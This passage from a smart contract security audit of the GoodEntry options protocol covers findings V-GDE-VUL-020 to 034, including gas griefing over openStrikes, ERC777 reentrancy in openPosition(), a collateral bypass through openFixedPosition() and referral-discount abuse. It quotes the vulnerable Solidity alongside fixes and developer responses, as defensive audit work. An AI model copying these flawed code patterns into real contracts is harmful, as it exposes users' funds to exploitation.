Impact Users of the protocol may find that gas costs increase very rapidly. This may make options which are in-the-money non-profitable.

Recommendation Map the `strike` value to a strike for both fixed and streaming positions, or validate that `strikes` passed to fixed positions lie on the spacing specified by `StrikeManager`.

Developer Response We applied the recommendation.

4.1.20 V-GDE-VUL-020: Opening positions may be griefed

Severity	Warning	**Commit**	a86b0ae
Type	Usability Issue	**Status**	Acknowledged
File(s)	`contracts/PositionManger/GoodEntryPositionManager.sol`		
Location(s)	getAssetsDue(), _isEmergencyStrike()		
Confirmed Fix At			

The functions `_isEmergencyStrike()` and `getAssetsDue()` iterate over the entire `openStrikes` array.

```
function _isEmergencyStrike(uint strike) internal view returns (bool isEmergency) {
  if (openStrikes.length < MAX_OPEN_STRIKES || openStrikes.length < 2) return false;
  // Skip 1st entry which is 0
  uint minStrike = openStrikes[1];
  uint maxStrike = minStrike;
  // loop on all strikes
  for (uint k = 1; k < openStrikes.length; k++){
    if (openStrikes[k] > maxStrike) maxStrike = openStrikes[k];
    if (openStrikes[k] < minStrike) minStrike = openStrikes[k];
  }
  isEmergency = strike == maxStrike || strike == minStrike;
}
```

Snippet 4.36: Definition of `_isEmergencyStrike()`. `getAssetsDue()` has a similar implementation, but sums up the result of `getValueAtStrike()` evaluated at each strike price.

Note that `_isEmergencyStrike()` is called inside `closePosition()` when closing an unexpired position with sufficient collateral which `msg.sender` does not own. `getAssetsDue()` is called in `openPosition()` when the utilization rate is checked (`getUtilizationRate()` -> `GoodEntryVaultBase.getReserves()` -> `getAssetsDue()`). Based on brief profiling efforts, the call to `getAssetsDue()` is roughly 3 times more expensive than the call to `_isEmergencyStrike()`.

This can lead to very large gas costs. If `openStrikes` is large enough, the gas costs may become large enough to reach the block limit. Even if below the limit, they may become prohibitively expensive.

Impact If enough strikes are open, it may become impossible to open any position. In this case, closing a position should be possible, but will also be very expensive.

A well-funded account intent on griefing the protocol may prevent operations for an arbitrary amount of time (determined by their funding). However, this would be a very expensive undertaking.

See related issue V-GDE-VUL-005.

Recommendation Perform detailed profiling on the cost of opening position and closing an emergency position with the compiled code which will be deployed on-chain. Perform this profiling with various lengths of `openStrikes`, from `0` up to the current block gas limit.

Include this profiling in the protocol documentation so that the cost to DoS the profile is clear to options buyers.

Developer Response We plan to make the `MAX_OPEN_STRIKES` constant very chain dependent so that this is not a problem for users in practice.

4.1.21 V-GDE-VUL-021: VIP discount is lower than non-VIPs

Severity	Warning	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	`contracts/referrals/Referrals.sol`		
Location(s)	Referrals		
Confirmed Fix At	a9797ce		

The referee discount for VIPs is lower than that for non-VIPs.

```
uint16 public discountReferee = 1000;
uint16 public discountRefereeVip = 800;
```

Snippet 4.37: Fee definitions in `Referrals`

Impact Users designated as VIPs will receive a lower discount than non-VIPs.

Recommendation Make the VIP discount higher than non-VIPs.

Developer Response We have adjusted the non-VIP discount to 5%.

4.1.22 V-GDE-VUL-022: Referrer discount is unlimited and permissionless

Severity	Warning	**Commit**	a86b0ae
Type	Logic Error	**Status**	Acknowledged
File(s)	contracts/referrals/Referrals.sol		
Location(s)	registerReferrer()		
Confirmed Fix At			

Anyone may become a referrer by calling `registerName()` in `Referrals`.

```
function registerName(bytes32 name) public {
  require(_referrerNames[name] == address(0x0), "Already registered");
  _referrerNames[name] = msg.sender;
}
```

Snippet 4.38: Definition of `registerName()`

This means that any account may first call `registerName()`, then call `registerReferrer()` to receive both the referrer rebate and referee discount.

```
function registerReferrer(bytes32 name) public {
```

Snippet 4.39: Signature of `registerReferrer()`

Since the referrer fee discount is never revoked, and can be used more than once, the true price of a vault option must always take into account the referee discount.

Impact Vault liquidity providers must take into account that every option user may make themselves a referee. Note also that the discounts' only limits are that they cannot be 100%. However, they can be set to as large as 99.99%.

```
function setReferralDiscounts(uint16 _rebateReferrer, uint16 _rebateReferrerVip,
    uint16 _discountReferee, uint16 _discountRefereeVip) public onlyOwner {
  require(_rebateReferrer < 10000 && _rebateReferrerVip < 10000 && _discountReferee <
    10000 && _discountRefereeVip < 10000, "GEC: Invalid Discount");
```

Snippet 4.40: Caps on referee discounts and referrer rebates.

Recommendation Consider using some method to limit the number of referee discounts, such as requiring referrers to have some sort of stake in the vault and limiting their number of referees.

Developer Response Referral rebates are included in the IV markup in the option price. We have added a check to prevent self-referral. In the long term, we plan on reducing regular rebates.

4.1.23 V-GDE-VUL-023: lpToken not validated

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Fixed
File(s)	`contracts/ammPosition/UniswapV2Position.sol`		
Location(s)	initAmm()		
Confirmed Fix At	ca87dfb		

When being initialized, the `UniswapV2Position` uses the `IUniswapV2Factory` to get the Uniswap pair associated to the tokens.

```
function initAmm(address _baseToken, address _quoteToken) internal {
  lpToken = IUniswapV2Factory(ROUTER_V2.factory()).getPair(_baseToken, _quoteToken);
}
```

Snippet 4.41: Initializer for `UniswapV2Position`

If the pool does not exist, `getPair()` returns the 0-address.

Impact If a vault is created for a non-existent pool, the deployment may succeed, wasting deployer gas and leading to an invalid vault.

Recommendation Require the `lpToken` to be non-zero.

Developer Response We applied the recommended fix.

4.1.24 V-GDE-VUL-024: Can open streaming position via openFixedPosition()

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	openFixedPosition()		
Confirmed Fix At	401fa96		

By passing `strike = 0` to `openFixedPosition()`, one can open a streaming position.

```
function openFixedPosition(bool isCall, uint strike, uint notionalAmount, uint
    timeToExpiry) external returns (uint tokenId){
  require(timeToExpiry >= 86400, "GEP: Min Duration 1D");
  uint basePrice = IGoodEntryVault(vault).getBasePrice();
  require((isCall && basePrice <= strike) || (!isCall && basePrice >= strike), "GEP:
    Not OTM");
  return openPosition(isCall, strike, notionalAmount, 0, timeToExpiry);
}

function openStreamingPosition(bool isCall, uint notionalAmount, uint
    collateralAmount) external returns (uint tokenId){
  require(collateralAmount >= 1e6, "GEP: Min Collateral Error");
  // Use 0 as strike for streaming option, it will take the closest one
  return openPosition(isCall, 0, notionalAmount, collateralAmount, 0);
}

function openPosition(bool isCall, uint strike, uint notionalAmount, uint
    collateralAmount, uint timeToExpiry) internal returns (uint tokenId) {
  uint basePrice = IGoodEntryVault(vault).getBasePrice();
  bool isStreamingOption = strike == 0;
```

Snippet 4.42: Definitions of `openFixedPosition()`, `openStreamingPosition()`, and the beginning of `openPosition()`.

By executing via `openFixedPosition()` instead of `openStreamingPosition()`, the client may pass a `collateralAmount` of 0 to the streaming position, bypassing the `"GEP: Min Collateral Error"` check in `openStreamingPosition()`.

Impact Users of the protocol may pass less than the minimum amount of collateral. While this means they are likely to be liquidated, it may allow for cheaper use of the position manager than intended.

Recommendation Require the `strike` price to be non-zero in `openFixedPosition()`. See also V-GDE-VUL-019.

Developer Response We have updated the strike manager to consider `0` as an invalid strike price.

4.1.25 V-GDE-VUL-025: Tokens with sender hooks may bypass utilization rate

Severity	Warning	**Commit**	a86b0ae
Type	Reentrancy	**Status**	Acknowledged
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	openPosition()		
Confirmed Fix At			

Some tokens, such as those implementing ERC777, may have a sender-hook which transfers control to the sender before completing the transfer. This can lead to potential reentrancies.

As shown below, the `openInterestCalls` and `openInterestPuts` variables are only updated after the transfer of funds from `msg.sender` is completed.

```
ERC20(quoteToken).safeTransferFrom(msg.sender, address(this), collateralAmount);

// Start tracking if new strike
if (openStrikeIds[strike] == 0) {
  openStrikes.push(strike);
  openStrikeIds[strike] = openStrikes.length - 1;
}
// Update OI
if (isCall) {
  strikeToOpenInterestCalls[strike] += notionalAmount;
  openInterestCalls += notionalAmount;
}
else {
  strikeToOpenInterestPuts[strike] += notionalAmount;
  openInterestPuts += notionalAmount;
}
```

Snippet 4.43: Snippet from `openPosition()`

This means that, for some tokens, the user opening the position may reenter to open multiple positions before the state is updated.

Impact If used on tokens with sender hooks, the utilization rate may be bypassed.

The GoodEntry developers indicated that they do not intent to use this protocol with tokens which have sender hooks, so this will only be an issue for future use cases of the vault.

Recommendation Perform all state updates before the transfers. See also the checks-effects-interactions pattern.

Developer Response We do not intend to support ERC-777. We will make this clear in the documentation.

4.1.26 V-GDE-VUL-026: Duplicate code

Severity	Info	**Commit**	a86b0ae
Type	Maintainability	**Status**	Fixed
File(s)	`contracts/GoodEntryCommons.sol`, `contracts/vaults/VaultCommons.sol`		
Location(s)	N/A		
Confirmed Fix At	e296f38		

The protocol operates on a pair of tokens, namely `baseToken` and `quoteToken`. The protocol defines these values in the abstract contracts `GoodEntryCommons` and `VaultCommons`.

Both these contracts are identical.

```
abstract contract GoodEntryCommons {
  /// @notice Vault underlying tokens
  ERC20 internal baseToken;
  ERC20 internal quoteToken;
  /// @notice Oracle address
  IGoodEntryOracle internal oracle;
}
```

Snippet 4.44: GoodEntryCommons.sol

```
abstract contract VaultCommons {
    /// @notice Vault underlying tokens
    ERC20 internal baseToken;
    ERC20 internal quoteToken;
    /// @notice Oracle address
    IGoodEntryOracle internal oracle;
}
```

Snippet 4.45: VaultCommons.sol

Impact Any change to this interface will need to be replicated in both these contracts in the event of upgrades. This process is susceptible to mistakes.

Recommendation Merge these contracts into one.

Developer Response We applied the recommended fix.

4.1.27 V-GDE-VUL-027: Possible incorrect spacing

Severity	Info	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	`StrikeManager.sol`		
Location(s)	getStrikeSpacing()		
Confirmed Fix At	c1f5043		

The library `StrikeManager` is used to calculate the strike prices for streaming options. This library defines a function `getStrikeSpacing()` that is used to calculate the strike prices.

```
function getStrikeSpacing(uint price) public pure returns (uint) {
  // price is X8 so at that point it makes no much sense anyway, meme tokens like
    PEPE not supported
  if (price < 100) return 1;
  else if(price >= 100 && price < 500) return 1;
  else if(price >= 500 && price < 1000) return 2;
  else  // price > 1000 (x8)
    return getStrikeSpacing(price / 10) * 10;
}
```

Snippet 4.46: Function `getStrikeSpacing()` in StrikeManager.sol

Here, the strike space is 1 when the price is less than 100 and when the price is between 100 and 500.

Impact The strike spacing does not distinguish between cases when the price is less than 100 and when the price is between 100 and 200.

Recommendation You can either assign different values for the cases `price<100` and `100<price<500`, or merge the branches for those cases to improve code maintainability.

Developer Response We merged the redundant if cases.

4.1.28 V-GDE-VUL-028: Unused Events

Severity	Info	**Commit**	a86b0ae
Type	Maintainability	**Status**	Fixed
File(s)	`contracts/vaults/VaultConfigurator.sol`, `contracts/vaults/GoodEntryVaultBase.sol`		
Location(s)			
Confirmed Fix At	df8ab3b		

The following events are unused:

- `SetPositionManager` in `VaultConfigurator`.
- `DepositedFees` in `GoodEntryVaultBase`.

Impact Downstream dapps or users may search for and have actions based on these events, expecting it to be emitted under certain conditions.

Recommendation

- Remove the `SetPositionManager` event, as `VaultConfigurator` does not have a position manager field.
- Emit the `DepositedFees` event whenever fees are deposited to the treasury.

Developer Response We removed the unused events.

4.1.29 V-GDE-VUL-029: Out-of-date comments

Severity	Info	**Commit**	a86b0ae
Type	Maintainability	**Status**	Fixed
File(s)	See issue description		
Location(s)	See issue description		
Confirmed Fix At	dbb5aee		

- In contracts/PositionManager/StrikeManager.sol, the following comment is out-of-date.

```
/// @notice Get price strike psacing based on price
/// @dev Values: from [100...500[ -> 5, from [500...1000[ -> 10
function getStrikeSpacing(uint price) public pure returns (uint) {
  // price is X8 so at that point it makes no much sense anyway, meme tokens like
    PEPE not supported
  if (price < 100) return 1;
  else if(price >= 100 && price < 500) return 1;
  else if(price >= 500 && price < 1000) return 2;
```

Snippet 4.47: Function comment for `getStrikeSpacing()`.

  The function returns 1 for the range `[100..500[` and `2` for `[500..1000[`. The behavior outside of this range is not described in the comment.
- In contracts/vaults/FeeStreamer.sol, the following comment is out-of-date, referring to a non-existent function `getReservedFees()`.

```
/**
 * @title FeeStreamer
 * @author GoodEntry
 * @dev Tracks fees accumulated for the current period, while streaming fees for the
    past period
 * The streamer doesnt actually holds funds, but account for the fees in a given
    period.
 * In practice, streaming is inverted: a contract call getReservedFees() to know how
    much of token balances are reserved
 */
abstract contract FeeStreamer {
```

Snippet 4.48: Contract comment for `FeeStreamer`. The referenced `getReservedFees()` function does not exist.

Impact Future developers may be confused about the use of these contracts/functions.

Recommendation

- Describe the full behavior of `getStrikeSpacing()` in its function comment.
- Change the comment to refer to `getPendingFees()`.

Developer Response We applied the recommendation.

4.1.30 V-GDE-VUL-030: Missing interface

Severity	Info	**Commit**	a86b0ae
Type	Maintainability	**Status**	Fixed
File(s)	`contracts/GoodEntryCore.sol`		
Location(s)	createVault(), updateVaultBeacon(), and setVaultUpgradeableBeacon()		
Confirmed Fix At	66ae995		

The `GoodEntryCore` contract assumes that vaults share a function named `initProxy()` matching the signature of `GoodEntryVaultUniV3.initProxy()`.

```
1 GoodEntryVaultUniV3(payable(vault)).initProxy(baseToken, quoteToken, address(_pm),
      address(WETH), address(oracle));
```

Snippet 4.49: Use of `initProxy()` on a vault which may not be of type `GoodEntryVaultUniV3` in `createVault()`

This is similarly assumed for the function `ammType()`.

```
1 keccak256(abi.encodePacked(GoodEntryVaultUniV3(payable(UpgradeableBeacon(
      _vaultUpgradeableBeacon).implementation())).ammType()))
```

Snippet 4.50: Snipet from `updateVaultBeacon()`. A similar snippet exists in `setVaultUpgradeableBeacon()`

Impact Future changes to these methods must remain synchronized across all vaults. If only a non-`GoodEntryVaultUniV3` method signature is changed, then solidity will not flag the error.

Recommendation Add an interface for these methods which each vault must implement.

Developer Response

4.1.31 V-GDE-VUL-031: Unnecessary statement

Severity	Info	**Commit**	a86b0ae
Type	Gas Optimization	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	closePosition()		
Confirmed Fix At	a38e665		

The below statement has no effect in `GoodEntryPositionManager`.

```
1 _positions[tokenId];
```

Snippet 4.51: A line from `closePosition()`

Impact Executing this statement wastes gas.

Recommendation Remove the statement.

Developer Response

4.1.32 V-GDE-VUL-032: Implementations view may be invalidated

Severity	Info	**Commit**	a86b0ae
Type	Usability Issue	**Status**	Acknowledged
File(s)	contracts/GoodEntryCore.sol		
Location(s)	setVaultUpgradeableBeacon()		
Confirmed Fix At			

When a `vaultUpgradeableBeacon` is updated, `vaultImplementations` will also be updated.

```
function setVaultUpgradeableBeacon(address _vaultUpgradeableBeacon, bool isEnabled)
    public onlyOwner {
  vaultUpgradeableBeacons[_vaultUpgradeableBeacon] = isEnabled;
  vaultImplementations[GoodEntryVaultUniV3(payable(UpgradeableBeacon(
    _vaultUpgradeableBeacon).implementation())).ammType()] = _vaultUpgradeableBeacon;
  emit SetVaultUpgradeableBeacon(_vaultUpgradeableBeacon, isEnabled);
}
```

Snippet 4.52: Definition of `setVaultUpgradeableBeacon()`

If there were any existing implementations recorded at the provided `ammType()`, they will be overridden.

Impact Users who rely on the `vaultImplementations` mapping to upgrade their vaults will use the incorrect beacon.

Recommendation Consider documenting this fact on `vaultImplementations`.

Developer Response We rely on this to upgrade our implementation. We will document this fact.

4.1.33 V-GDE-VUL-033: Treasury defaults to zero

Severity	Info	**Commit**	a86b0ae
Type	Usability Issue	**Status**	Fixed
File(s)	`contracts/GoodEntryCore.sol`		
Location(s)	constructor()		
Confirmed Fix At	04ebd11		

The `GoodEntryCore` constructor does not set `treasury`.

```
1 /// @notice Treasury address
2 address public treasury;
```

Snippet 4.53: Definitions of `treasury` and `treasuryShare`

This means that the address will default to zero.

Impact Since transfers to the treasury occur during deposits and withdrawals, any vaults deployed by the `GoodEntryCore` will be useless until `setTreasury()` is used to set the `treasury` address.

Recommendation Include the `treasury` address as a parameter in the constructor.

Developer Response We have hard-coded a default treasury to our desired initial address.

4.1.34 V-GDE-VUL-034: Wasted gas in volatility computation

Severity	Info	Commit	a86b0ae
Type	Gas Optimization	Status	Fixed
File(s)	`contracts/Oracle/GoodEntryOracle.sol`		
Location(s)	_volatility()		
Confirmed Fix At	`c7442f102a4bf8d487258d231a379b4d9e644487`		

`_volatility()` is computed each time an option price is requested. However, the previous prices are only updated daily.

Impact Excessive gas will be consumed if multiple options are opened or closed on the same day.

Recommendation Consider computing and caching the volatility when updating the daily asset price in `snapshotDailyAssetsPrices()`.

Developer Response

Glossary

AMM Automated Market Maker. 1

OpenZeppelin A security company which provides many standard implementations of common contract specifications. See `https://www.openzeppelin.com`. 1